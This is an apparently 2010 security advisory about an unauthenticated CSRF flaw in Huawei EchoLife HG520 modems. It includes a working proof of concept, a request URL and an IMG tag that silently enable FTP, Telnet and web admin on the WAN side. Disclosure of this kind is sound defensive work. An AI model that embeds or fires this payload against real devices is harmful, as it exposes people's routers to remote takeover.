Huawei EchoLife HG520 RemoteManagement CSRF

Huawei EchoLife HG520 RemoteManagement CSRF

Posted on Jun 08 2010   |  Plain text version

Summary

Huawei EchoLife HG520 modems do not require authentication to access certain pages such as: '/Forms/access_cwmp_1', '/Forms/rpQos_1' and '/Forms/rpRManage_1'. A CSRF exploit can be used to enable remote administration inerfaces on the WAN.

Description

=========================================
HUAWEI ECHOLIFE HG520 RemoteManagement CSRF
=========================================


Device: Huawei EchoLife HG520
Software Version: V100R001B021Telmex
V100R001B020Telmex
Firmware Version: 3.10.18.7-1.0.7.0 (latest version)
3.10.18.5-1.0.7.0
Vulnerable Models: HG520c
HG520b
Published date: 2010-04-00
Criticity: High
Impact: Enable remote admin on WAN
Location: Web interface (LAN/WAN)
Solution: Not available
Websec-id: ws10-12


DESCRIPTION
=======================
Huawei EchoLife HG520 modems do not require authentication to access certain pages such as: '/Forms/access_cwmp_1', '/Forms/rpQos_1' and '/Forms/rpRManage_1'. A CSRF exploit can be used to enable remote administration inerfaces on the WAN.


EXPLOIT / POC
=======================
Enable FTP, TELNET and WEB by sending a request to:

http://192.168.1.254/Forms/rpRManage_1?ACL_active=0

Client-Side:

<IMG SRC=http://192.168.1.254/Forms/rpRManage_1?ACL_active=0>


SOLUTION
=======================
Not available.


DISCLOSURE TIMELINE
=======================
2010/03/20 - Vulnerability discovered


REFERENCES
=======================
Hakim.Ws - http://www.hakim.ws
Websec - http://websec.mx


Websec.mx

POC

<IMG SRC=http://192.168.1.254/Forms/rpRManage_1?ACL_active=0>


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